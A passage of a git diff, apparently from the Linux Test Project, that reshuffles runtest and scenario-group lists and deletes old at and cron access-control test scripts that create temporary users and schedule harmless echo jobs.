+statx05 statx05
+statx06 statx06
+
+membarrier01 membarrier01
diff --git a/runtest/syscalls-ipc b/runtest/syscalls-ipc
index de32c6b..54d8622 100644
--- a/runtest/syscalls-ipc
+++ b/runtest/syscalls-ipc
@@ -2,15 +2,11 @@
 msgctl02 msgctl02
 msgctl03 msgctl03
 msgctl04 msgctl04
-msgctl05 msgctl05
-msgctl06 msgctl06
-msgctl07 msgctl07
-msgctl08 msgctl08
-msgctl09 msgctl09
-msgctl10 msgctl10
-msgctl11 msgctl11
+msgstress01 msgstress01
+msgstress02 msgstress02
+msgstress03 msgstress03
+msgstress04 msgstress04
 msgctl12 msgctl12
-msgctl13 msgctl13
 
 msgget01 msgget01
 msgget02 msgget02
@@ -57,6 +53,7 @@
 shmctl02 shmctl02
 shmctl03 shmctl03
 shmctl04 shmctl04
+shmctl05 shmctl05
 
 shmdt01 shmdt01
 shmdt02 shmdt02
diff --git a/runtest/tracing b/runtest/tracing
index 8285eeb..504132d 100644
--- a/runtest/tracing
+++ b/runtest/tracing
@@ -3,3 +3,4 @@
 ftrace_regression02	ftrace_regression02.sh
 ftrace-stress-test	ftrace_stress_test.sh 90
 dynamic_debug01		dynamic_debug01.sh
+pt_full_trace_basic pt_test
diff --git a/scenario_groups/default b/scenario_groups/default
index 5658a61..9adb75d 100644
--- a/scenario_groups/default
+++ b/scenario_groups/default
@@ -17,17 +17,13 @@
 cap_bounds
 fcntl-locktests
 connectors
-admin_tools
 timers
 power_management_tests
-numa
 hugetlb
 commands
 hyperthreading
 kernel_misc
-modules
 fs_ext4
-pipes
 can
 cpuhotplug
 net.ipv6_lib
diff --git a/scenario_groups/network b/scenario_groups/network
index bf857b0..4682950 100644
--- a/scenario_groups/network
+++ b/scenario_groups/network
@@ -1,4 +1,21 @@
+can
+net.features
+net.ipv6
+net.ipv6_lib
 net.tcp_cmds
 net.multicast
 net.rpc
 net.nfs
+net.rpc_tests
+net.tirpc_tests
+net.sctp
+net_stress.appl
+net_stress.broken_ip
+net_stress.interface
+net_stress.ipsec_dccp
+net_stress.ipsec_icmp
+net_stress.ipsec_sctp
+net_stress.ipsec_tcp
+net_stress.ipsec_udp
+net_stress.multicast
+net_stress.route
diff --git a/scenario_groups/vts b/scenario_groups/vts
index 62e9937..203cbdf 100644
--- a/scenario_groups/vts
+++ b/scenario_groups/vts
@@ -1,10 +1,10 @@
-admin_tools
 can
 cap_bounds
 commands
 connectors
 containers
 cpuhotplug
+cve
 dio
 fcntl-locktests_android
 filecaps
@@ -21,14 +21,12 @@
 kernel_misc
 math
 mm
-modules
 nptl
-numa
-pipes
 power_management_tests
 pty
 sched
+sched_low_mem
+securebits
 syscalls
 timers
-securebits
-tracing
\ No newline at end of file
+tracing
diff --git a/testcases/commands/.gitignore b/testcases/commands/.gitignore
index 9aa1caf..0ed3438 100644
--- a/testcases/commands/.gitignore
+++ b/testcases/commands/.gitignore
@@ -1,5 +1,4 @@
 /ldd/datafiles/lddfile.out
 /ldd/datafiles/*.obj.so
-/cron/cron_dirs_check
 /eject/eject_check_tray
 /insmod/ltp_insmod01.ko
diff --git a/testcases/commands/ar/ar01 b/testcases/commands/ar/ar01
index ddab2e0..be105f6 100644
--- a/testcases/commands/ar/ar01
+++ b/testcases/commands/ar/ar01
@@ -22,9 +22,12 @@
 #
 # This is a basic ar command test.
 #
+AR="${AR:=ar}"
 TST_CNT=17
 TST_TESTFUNC=test
 TST_NEEDS_TMPDIR=1
+TST_NEEDS_CMDS="$AR"
+
 . tst_test.sh
 
 test1()
diff --git a/testcases/commands/at/Makefile b/testcases/commands/at/Makefile
deleted file mode 100644
index ca3fb04..0000000
--- a/testcases/commands/at/Makefile
+++ /dev/null
@@ -1,31 +0,0 @@
-#
-#    commands/at testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, July 2009
-#
-
-top_srcdir		?= ../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-INSTALL_TARGETS		:= at_allow01 at_deny01
-
-MAKE_TARGETS		:=
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/commands/at/at_allow01 b/testcases/commands/at/at_allow01
deleted file mode 100755
index c0e9335..0000000
--- a/testcases/commands/at/at_allow01
+++ /dev/null
@@ -1,188 +0,0 @@
-#!/bin/sh -u
-#
-#   Copyright (C) 2008 CAI Qian <caiqian@cclom.cn>
-#   Copyright (c) International Business Machines  Corp., 2003
-#
-#   This program is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful, but
-#   WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-#   General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program; if not, write to the Free Software
-#   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
-#   USA
-#
-#   FILE: /etc/at.allow
-#
-#   PURPOSE: Test that /etc/at.allow , only allows those in the file to
-#   run cron jobs.
-#
-#   HISTORY:
-#		   04/03 Jerone Young (jyoung5@us.ibm.com)
-#
-
-export TCID=at_allow01
-export TST_TOTAL=1
-export TST_COUNT=1
-TMP=${TMP:=/tmp}
-allow="/etc/at.allow"
-test_user1="test_user_1"
-test_user2="test_user_2"
-test_user1_home="/home/${test_user1}"
-test_user2_home="/home/${test_user2}"
-tmpfile="$TMP/at_allow_test"
-
-if [ "$(id -ru)" = 0 ]; then
-	. cmdlib.sh
-fi
-
-#-----------------------------------------------------------------------
-# FUNCTION:  do_setup
-#-----------------------------------------------------------------------
-
-do_setup()
-{
-	# Move any files that may get in the way.
-	rm "${tmpfile}" >/dev/null 2>&1
-	mv "${allow}" "${allow}.old" >/dev/null 2>&1
-
-	# Remove users for clean enviroment.
-	rm -rf "${test_user1_home}" "${test_user2_home}"
-	userdel -r "${test_user1}" >/dev/null 2>&1
-	userdel -r "${test_user2}" >/dev/null 2>&1
-
-	# Create the 1st user.
-	if ! useradd -g users -d "${test_user1_home}" -m "${test_user1}"; then
-		echo "Could not add test user ${test_user1} to system."
-		exit 1
-	fi
-
-	# Create the 2nd user.
-	if ! useradd -g users -d "${test_user2_home}" -m "${test_user2}"; then
-		echo "Could not add test user ${test_user2} to system."
-		exit 1
-	fi
-
-	# This is the workaround for a potential bug.
-	# [Bug 468337] At Refuse to Work with Non-login Shell
-	# https://bugzilla.redhat.com/show_bug.cgi?id=468337
-	# As we are running in non-login shell now, we cannot run the script
-	# by simply given it a relative path. Therefore, we copy it to test
-	# users' home directories, and run it from there.
-	cp "$0" "${test_user1_home}/." &&
-	cp "$0" "${test_user2_home}/." &&
-	echo "export LTPROOT='$LTPROOT'" > "${test_user1_home}/cached_ltproot" &&
-	echo "export LTPROOT='$LTPROOT'" > "${test_user2_home}/cached_ltproot"
-	if [ $? -ne 0 ]; then
-		tst_resm TBROK "Couldn't copy over req'd files for test users"
-		exit 1
-	fi
-
-	restart_daemon atd
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION:  do_cleanup
-#-----------------------------------------------------------------------
-do_cleanup()
-{
-	# We forcefully remove those files anyway. Otherwise userdel may
-	# give us bad warnings.
-	rm -rf "${test_user1_home}" "${test_user2_home}"
-	userdel -r "${test_user1}" >/dev/null 2>&1
-	userdel -r "${test_user2}" >/dev/null 2>&1
-	rm "${allow}"
-	mv "${allow}.old" "${allow}" >/dev/null 2>&1
-	rm "${tmpfile}" >/dev/null 2>&1
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION:  run_test
-#-----------------------------------------------------------------------
-run_test()
-{
-	if [ $(whoami) = "${test_user1}" ]; then
-		. "${test_user1_home}/cached_ltproot" || exit 1
-		export PATH="$PATH:$LTPROOT/testcases/bin"
-
-		echo "TEST: $allow should allow only those who in the file to run jobs."
-		echo "(1) TEST THAT PERSON IN ${allow} IS ABLE TO RUN JOB."
-		echo "echo 'TEST JOB RAN' >>\"${tmpfile}\" 2>&1" |
-		if ! at -m now + 1 minutes ; then
-			echo "Error while adding job using at for user ${test_user1}."
-			exit 1
-		fi
-		echo " Sleeping for 75 seconds...."
-		sleep 75
-
-		exit_code=1
-		test -e "${tmpfile}" && exit_code=0
-		if [ ${exit_code} -eq 1 ]; then
-			tst_resm TFAIL "At did not allow user to execute job"
-		else
-			tst_resm TPASS "At allowed user to execute test job"
-		fi
-
-		rm -f "${tmpfile}" >/dev/null 2>&1
-		exit ${exit_code}
-
-	elif [ $(whoami) = "${test_user2}" ]; then
-
-		. "${test_user2_home}/cached_ltproot" || exit 1
-		export PATH="$PATH:$LTPROOT/testcases/bin"
-
-		echo "(2) TEST PERSON THAT IS NOT IN ${allow} IS NOT ABLE TO RUN JOB."
-
-		echo "echo 'TEST JOB RAN' >>\"${tmpfile}\" 2>&1" |
-		if ! at -m now + 1 minutes; then
-			echo "Expected error while adding job user at for user ${test_user2}"
-		fi
-		echo "Sleeping for 75 seconds...."
-		sleep 75
-
-		exit_code=1
-		test -e "${tmpfile}" || exit_code=0
-		if [ ${exit_code} -eq 1 ]; then
-			tst_resm TFAIL "At allowed user to execute test job"
-		else
-			tst_resm TPASS "At did not allow user to execute job"
-		fi
-
-		rm -f "${tmpfile}" >/dev/null 2>&1
-		exit ${exit_code}
-
-	fi
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION: main
-#-----------------------------------------------------------------------
-if ! type at > /dev/null; then
-	tst_resm TCONF "at command not found on system"
-elif [ "$(id -ru)" = 0 ]; then
-	if do_setup; then
-
-		if ! echo "${test_user1}" >"${allow}"; then
-			exit_code=1
-		elif ! su "${test_user1}" -lc "${test_user1_home}/${0##*/}"; then
-			exit_code=1
-		elif ! su "${test_user2}" -lc "${test_user2_home}/${0##*/}"; then
-			exit_code=1
-		else
-			exit_code=0
-		fi
-		do_cleanup
-	else
-		exit_code=1
-	fi
-	exit ${exit_code}
-else
-	run_test
-	exit 0
-fi
diff --git a/testcases/commands/at/at_deny01 b/testcases/commands/at/at_deny01
deleted file mode 100755
index 176da14..0000000
--- a/testcases/commands/at/at_deny01
+++ /dev/null
@@ -1,195 +0,0 @@
-#!/bin/sh -u
-#
-#   Copyright (C) 2008 CAI Qian <caiqian@cclom.cn>
-#   Copyright (c) International Business Machines  Corp., 2003
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
-#   FILE: /etc/at.deny
-#
-#   PURPOSE: Test that /etc/at.deny , does not allow those in the file
-#   to run cron jobs.
-#
-#   HISTORY:
-#		04/03 Jerone Young (jyoung5@us.ibm.com)
-#
-
-export TCID=at_deny01
-export TST_TOTAL=1
-export TST_COUNT=1
-TMP=${TMP:=/tmp}
-deny="/etc/at.deny"
-test_user1="test_user_1"
-test_user2="test_user_2"
-test_user1_home="/home/${test_user1}"
-test_user2_home="/home/${test_user2}"
-tmpfile="$TMP/at_deny_test"
-
-if [ "$(id -ru)" = 0 ]; then
-	. cmdlib.sh
-fi
-
-#-----------------------------------------------------------------------
-# FUNCTION:  do_setup
-#-----------------------------------------------------------------------
-
-do_setup()
-{
-	# Move any files that may get in the way.
-	rm "${tmpfile}" >/dev/null 2>&1
-	mv "${deny}" "${deny}.old" >/dev/null 2>&1
-
-	# if /etc/at.allow is there, /etc/at.deny will be ignored. So, we
-	# need to remove it first.
-	if [ -f "/etc/at.allow" ]; then
-		mv /etc/at.allow /etc/at.allow.old
-	fi
-
-	# Remove users for clean enviroment.
-	rm -rf "${test_user1_home}" "${test_user2_home}"
-	userdel -r "${test_user1}" >/dev/null 2>&1
-	userdel -r "${test_user2}" >/dev/null 2>&1
-
-	# Create the 1st user.
-	if ! useradd -g users -d "${test_user1_home}" -m "${test_user1}"; then
-		echo "Could not add test user ${test_user1} to system."
-		exit 1
-	fi
-
-	# Create the 2nd user.
-	if ! useradd -g users -d "${test_user2_home}" -m "${test_user2}"; then
-		echo "Could not add test user ${test_user2} to system."
-		exit 1
-	fi
-
-	# This is the workaround for a potential bug.
-	# [Bug 468337] At Refuse to Work with Non-login Shell
-	# https://bugzilla.redhat.com/show_bug.cgi?id=468337
-	# As we are running in non-login shell now, we cannot run the script
-	# by simply given it a relative path. Therefore, we copy it to test
-	# users' home directories, and run it from there.
-	cp "$0" "${test_user1_home}/." &&
-	cp "$0" "${test_user2_home}/." &&
-	echo "export LTPROOT='$LTPROOT'" > "${test_user1_home}/cached_ltproot" &&
-	echo "export LTPROOT='$LTPROOT'" > "${test_user2_home}/cached_ltproot"
-	if [ $? -ne 0 ]; then
-		tst_resm TBROK "Couldn't copy over req'd files for test users"
-		exit 1
-	fi
-
-	restart_daemon atd
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION:  do_cleanup
-#-----------------------------------------------------------------------
-do_cleanup()
-{
-	# We forcefully remove those files anyway. Otherwise userdel may
-	# give us bad warnings.
-	rm -rf "${test_user1_home}" "${test_user2_home}"
-	userdel -r "${test_user1}" >/dev/null 2>&1
-	userdel -r "${test_user2}" >/dev/null 2>&1
-	rm "${deny}"
-	mv "${deny}.old" "${deny}" >/dev/null 2>&1
-	rm "${tmpfile}" >/dev/null 2>&1
-
-	if [ -f /etc/at.allow.old ]; then
-		mv /etc/at.allow.old /etc/at.allow
-	fi
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION:  run_test
-#-----------------------------------------------------------------------
-run_test()
-{
-	if [ $(whoami) = "${test_user1}" ]; then
-		. "${test_user1_home}/cached_ltproot" || exit 1
-		export PATH="$PATH:$LTPROOT/testcases/bin"
-
-		echo "TEST: ${deny} should deny only those who are not in the file to run jobs."
-		echo "(1) TEST THAT PERSON NOT IN ${deny} IS ABLE TO RUN JOB."
-		echo "echo 'TEST JOB RAN' >>\"${tmpfile}\" 2>&1" |
-		if ! at -m now + 1 minutes; then
-			echo "Error while adding job using at for user ${test_user1}."
-			exit 1
-		fi
-		echo " Sleeping for 75 seconds...."
-		sleep 75
-
-		exit_code=1
-		test -e "${tmpfile}" && exit_code=0
-		if [ ${exit_code} -eq 1 ]; then
-			tst_resm TFAIL "At denyed user to execute test job"
-		else
-			tst_resm TPASS "At did not deny user to execute job"
-		fi
-
-		rm -f "${tmpfile}" >/dev/null 2>&1
-		exit ${exit_code}
-
-	elif [ $(whoami) = "${test_user2}" ]; then
-
-		. "${test_user2_home}/cached_ltproot" || exit 1
-		export PATH="$PATH:$LTPROOT/testcases/bin"
-
-		echo "(2) TEST THAT PERSON IN ${deny} IS NOT ABLE TO RUN JOB."
-
-		echo "echo 'TEST JOB RAN' >>\"${tmpfile}\" 2>&1" |
-		if ! at -m now + 1 minutes; then
-			echo "Expected error while adding job user at for user ${test_user2}"
-		fi
-		echo "Sleeping for 75 seconds...."
-		sleep 75
-
-		exit_code=1
-		test -e "${tmpfile}" || exit_code=0
-		if [ ${exit_code} -eq 1 ]; then
-			echo "At did not deny user to execute job, TEST FAILED."
-		else
-			echo "At denyed user to execute test job, TEST PASSED."
-		fi
-
-		rm -f "${tmpfile}" >/dev/null 2>&1
-		exit ${exit_code}
-
-	fi
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION: main
-#-----------------------------------------------------------------------
-if ! type at > /dev/null; then
-	tst_resm TCONF "at command not found on system"
-elif [ "$(id -ru)" = 0 ]; then
-	if do_setup ; then
-		if ! echo "${test_user2}" >"${deny}"; then
-			exit_code=1
-		elif ! su "${test_user1}" -lc "${test_user1_home}/${0##*/}"; then
-			exit_code=1
-		elif ! su "${test_user2}" -lc "${test_user2_home}/${0##*/}"; then
-			exit_code=1
-		else
-			exit_code=0
-		fi
-		do_cleanup
-	else
-		exit_code=1
-	fi
-	exit ${exit_code}
-else
-	run_test
-	exit 0
-fi
diff --git a/testcases/commands/cron/00_Descriptions.txt b/testcases/commands/cron/00_Descriptions.txt
deleted file mode 100644
index 9566e0a..0000000
--- a/testcases/commands/cron/00_Descriptions.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-cron01
-	Test that crontab <filename> installs the cron-job-file and cron will
-	schedule the job correctly.
-
diff --git a/testcases/commands/cron/Makefile b/testcases/commands/cron/Makefile
deleted file mode 100644
index 4969ec7..0000000
--- a/testcases/commands/cron/Makefile
+++ /dev/null
@@ -1,29 +0,0 @@
-#
-#    commands/cron testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, July 2009
-#
-
-top_srcdir		?= ../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-INSTALL_TARGETS		:= cron0[23] cron_illegal_cron_lines cron_allow01 cron_deny01 cron_dirs_checks01 *.sh
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/commands/cron/README.tests b/testcases/commands/cron/README.tests
deleted file mode 100644
index 0d5db71..0000000
--- a/testcases/commands/cron/README.tests
+++ /dev/null
@@ -1,25 +0,0 @@
-This directory contains two scripts and one data file to test cron. Both
-shouldn't be run as root but they warn for themselves. If a username is
-given as parameter they run as this user.
-
-Both scripts save the current crontab and restore it after finishing.
-
-* Positive tests
-
-	cron_pos_tests.sh [username]
-
-	- add new job
-	- check correct execution of job
-	- delete job
-
-* Negative tests
-
-	cron_neg_tests.sh [username]
-
-	- try to edit the crontab of root
-	- try to set illegal or nondefined execution times
-	  Here the script uses file illegal_cron_lines which contains two
-	  fields per line: the cron line to be tested (without script name),
-	  and the description of this test. The description is written to
-	  stdout during execution of the test.
-	- try to do things you aren't allowed as non-root (cron runs as root)
diff --git a/testcases/commands/cron/cron02 b/testcases/commands/cron/cron02
deleted file mode 100755
index 16b425d..0000000
--- a/testcases/commands/cron/cron02
+++ /dev/null
@@ -1,80 +0,0 @@
-#!/bin/sh
-#*********************************************************************
-#   Copyright (c) International Business Machines  Corp., 2000
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#  FILE   : cron02
-#
-#  PURPOSE: Test a postive cron job
-#			- add new job
-#   		- check correct execution of job
-#   		- delete job
-#
-#  HISTORY:
-#     	SUSE
-#
-
-TEST_USER="c01_user"
-TEST_USER_GROUP="users"
-TEST_USER_HOMEDIR="/home/$TEST_USER"
-
-#-----------------------------------------------------------------------
-# FUNCTION:  do_setup
-#-----------------------------------------------------------------------
-
-do_setup(){
-	#erase any data from potential defunt cron test
-	rm -rf /tmp/crontest > /dev/null 2>&1
-
-    #erase user if he may exist , so we can have a clean env
-        rm -rf /home/$TEST_USER
-        userdel $TEST_USER
-	sleep 1
-
-        useradd -m -g $TEST_USER_GROUP $TEST_USER
-        if [ $? != 0 ]
-        then {
-                echo "Could not add test user $TEST_USER to system $RHOST."
-                exit 1
-        }
-        fi
-
-	if [ -n "$CROND_DAEMON" ]; then
-		restart_daemon $CROND_DAEMON
-	else
-		tst_brkm TBROK "Couldn't find crond or cron"
-	fi
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION:  do_cleanup
-#-----------------------------------------------------------------------
-
-do_cleanup(){
-        rm -rf /home/$TEST_USER
-        userdel $TEST_USER
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION:  MAIN
-#-----------------------------------------------------------------------
-. cmdlib.sh
-
-do_setup
-cron_pos_tests.sh $TEST_USER
-EXIT_CODE=$?
-do_cleanup
-exit $EXIT_CODE
diff --git a/testcases/commands/cron/cron03 b/testcases/commands/cron/cron03
deleted file mode 100755
index 7ba7bf4..0000000
--- a/testcases/commands/cron/cron03
+++ /dev/null
@@ -1,83 +0,0 @@
-#!/bin/sh
-#*********************************************************************
-#   Copyright (c) International Business Machines  Corp., 2000
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#  FILE   : cron
-#
-#  PURPOSE: Test a bad (negative) cron job
-#			- try to edit the crontab of root
-#   		- try to set illegal or nondefined execution times
-#      	 	  Here the script uses file illegal_cron_lines which contains two
-#      		  fields per line: the cron line to be tested (without script name),
-#      		  and the description of this test. The description is written to
-#      		  stdout during execution of the test.
-#    		- try to do things you aren't allowed as non-root (cron runs as root)
-
-#
-#  HISTORY:
-#     	SUSE
-#
-
-
-TEST_USER="c02_user"
-TEST_USER_GROUP="users"
-TEST_USER_HOMEDIR="/home/$TEST_USER"
-
-#-----------------------------------------------------------------------
-# FUNCTION:  do_setup
-#-----------------------------------------------------------------------
-
-do_setup(){
-
-    #erase user if he may exist , so we can have a clean env
-        rm -rf /home/$TEST_USER
-        userdel $TEST_USER
-	sleep 1
-
-        useradd -m -g $TEST_USER_GROUP $TEST_USER
-        if [ $? != 0 ]
-        then {
-                echo "Could not add test user $TEST_USER to system $RHOST."
-                exit 1
-        }
-        fi
-        # restart cron daemon
-	# Red Hat uses crond, SuSE/Other uses cron.
-	if [ -f /etc/init.d/crond ]; then
-		/etc/init.d/crond restart
-	else
-		/etc/init.d/cron restart
-	fi
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION:  do_cleanup
-#-----------------------------------------------------------------------
-
-do_cleanup(){
-        rm -rf /home/$TEST_USER
-        userdel $TEST_USER
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION:  MAIN
-#-----------------------------------------------------------------------
-do_setup
-cron_neg_tests.sh $TEST_USER
-EXIT_CODE=$?
-do_cleanup
-exit $EXIT_CODE
diff --git a/testcases/commands/cron/cron_allow01 b/testcases/commands/cron/cron_allow01
deleted file mode 100755
index 9a5e4d2..0000000
--- a/testcases/commands/cron/cron_allow01
+++ /dev/null
@@ -1,202 +0,0 @@
-#!/bin/bash
-#
-#   Copyright (c) International Business Machines  Corp., 2003
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#	FILE: /var/spool/cron/allow
-#
-#	PURPOSE: Test that /var/spool/cron/allow , only allows those in the file to run cron jobs.
-#
-#	HISTORY:
-#		04/03 Jerone Young (jyoung5@us.ibm.com)
-#
-
-echo "This script contains bashism that needs to be fixed!"
-
-iam=`whoami`
-
-tvar=${MACHTYPE%-*}
-tvar=${tvar#*-}
-
-if [ "$tvar" = "redhat" -o "$tvar" = "redhat-linux" ]
-then
-CRON_ALLOW="/etc/cron.allow"
-else
-CRON_ALLOW="/var/spool/cron/allow"
-fi
-
-TEST_USER1="ca_user1"
-TEST_USER1_HOME="/home/$TEST_USER1"
-TEST_USER2="ca_user2"
-TEST_USER2_HOME="/home/$TEST_USER2"
-
-#-----------------------------------------------------------------------
-# FUNCTION:  do_setup
-#-----------------------------------------------------------------------
-
-do_setup() {
-	#move any files that may get in the way
-	rm /tmp/cron_allow_test > /dev/null 2>&1
-	rm /tmp/cron_allow_test1 > /dev/null 2>&1
-	mv $CRON_ALLOW $CRON_ALLOW.old > /dev/null 2>&1
-
-	#remove users for clean enviroment
-    su $TEST_USER1 -c "crontab -r"
-    su $TEST_USER2 -c "crontab -r"
-        rm -rf /home/$TEST_USER1
-        rm -rf /home/$TEST_USER2
-	userdel $TEST_USER1
-	userdel $TEST_USER2
-	sleep 1
-
-#create 1st user
-	useradd -m -g users $TEST_USER1
-	if [ $? != 0 ]
-    then {
-        echo "Could not add test user $TEST_USER1 to system."
-        exit 1
-    }
-    fi
-
-#create 2nd user
-	useradd -m -g users $TEST_USER2
-    if [ $? != 0 ]
-    then {
-        echo "Could not add test user $TEST_USER2 to system."
-        exit 1
-    }
-    fi
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION:  do_cleanup
-#-----------------------------------------------------------------------
-do_cleanup(){
-    su $TEST_USER1 -c "crontab -r"
-    su $TEST_USER2 -c "crontab -r"
-        rm -rf /home/$TEST_USER1
-        rm -rf /home/$TEST_USER2
-	userdel $TEST_USER1
-	userdel $TEST_USER2
-	rm $CRON_ALLOW
-	mv $CRON_ALLOW.old $CRON_ALLOW > /dev/null 2>&1
-	rm /tmp/cron_allow_test >/dev/null 2>&1
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION:  run_test
-#-----------------------------------------------------------------------
-run_test() {
-
-if [ $iam = $TEST_USER1 ]
-then
-	echo "TEST: $CRON_ALLOW should only allow those in the file to
-run cron jobs."
-
-	echo "(1) TEST THAT PERSON IN $CRON_ALLOW IS ABLE TO RUN JOB."
-
-	echo "backup crontab...."
-    crontab -l | grep '^[^#]' > /tmp/crontab-cronallow-save-$iam
-
-	crontab - << EOF
-        `date '+%M' | awk '{ORS=""; print ($1+2)%60 " * * * * "}'` echo "TEST JOB RAN" >> /tmp/cron_allow_test 2>&1
-EOF
-	if [ $? != 0 ]; then
-	echo Error while adding crontab for user $TEST_USER1
-	exit 1
-	fi
-
-	echo "sleeping for 130 seconds...."
-	sleep 130
-
-	EXIT_CODE=1
-	test -e /tmp/cron_allow_test && EXIT_CODE=0
-
-	if [ $EXIT_CODE = 1 ]; then
-		echo "Cron did not allow user to execute job , TEST FAILED"
-	else
-		echo "Cron allowed user to execute test job, TEST PASSED"
-	fi
-
-	 echo "restore old crontab..."
-     crontab /tmp/crontab-cronallow-save-$iam
-     rm -f /tmp/crontab-cronallow-save-$iam
-
-
-	rm -f /tmp/cron_allow_test
-
-	exit $EXIT_CODE
-fi
-
-if [ $iam = $TEST_USER2 ]
-then
-        echo "(2) TEST THAT PERSON NOT IN $CRON_ALLOW IS NOT ABLE TO RUN JOB."
-
-		echo "backup crontab...."
-    	crontab -l | grep '^[^#]' > /tmp/crontab-cronallow-save-$iam
-
-        crontab - << EOF
-        `date '+%M' | awk '{ORS=""; print ($1+2)%60 " * * * * "}'` echo "TEST JOB RAN" >> /tmp/cron_allow_test1 2>&1
-EOF
-        if [ $? != 0 ]; then
-        echo Error while adding crontab for user $TEST_USER2
-        fi
-
-        echo "sleeping for 130 seconds...."
-        sleep 130
-
-        EXIT_CODE=0
-        test -e /tmp/cron_allow_test1 && EXIT_CODE=1
-
-        if [ $EXIT_CODE = 0 ]; then
-                echo "Cron did not allow user to execute job , TEST PASSED"
-        else
-                echo "Cron allowed user to execute test job, TEST FAILED"
-        fi
-
-		echo "restore old crontab..."
-     	crontab /tmp/crontab-cronallow-save-$iam
-     	rm -f /tmp/crontab-cronallow-save-$iam
-
-        rm -f /tmp/cron_allow_test1
-
-        exit $EXIT_CODE
-fi
-
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION: main
-#-----------------------------------------------------------------------
-if [ $iam = "root" ]
-then
-	do_setup
-	echo $TEST_USER1 > $CRON_ALLOW
-	EXIT_CODE=0
-	su $TEST_USER1 -c "$0"
-	if [ $? != 0 ]
-	then
-	   EXIT_CODE=1
-	fi
-	su $TEST_USER2 -c "$0"
-	if [ $? != 0 ]
-	then EXIT_CODE=1
-	fi
-	do_cleanup
-	exit $EXIT_CODE
-else
-	run_test
-fi
diff --git a/testcases/commands/cron/cron_deny01 b/testcases/commands/cron/cron_deny01
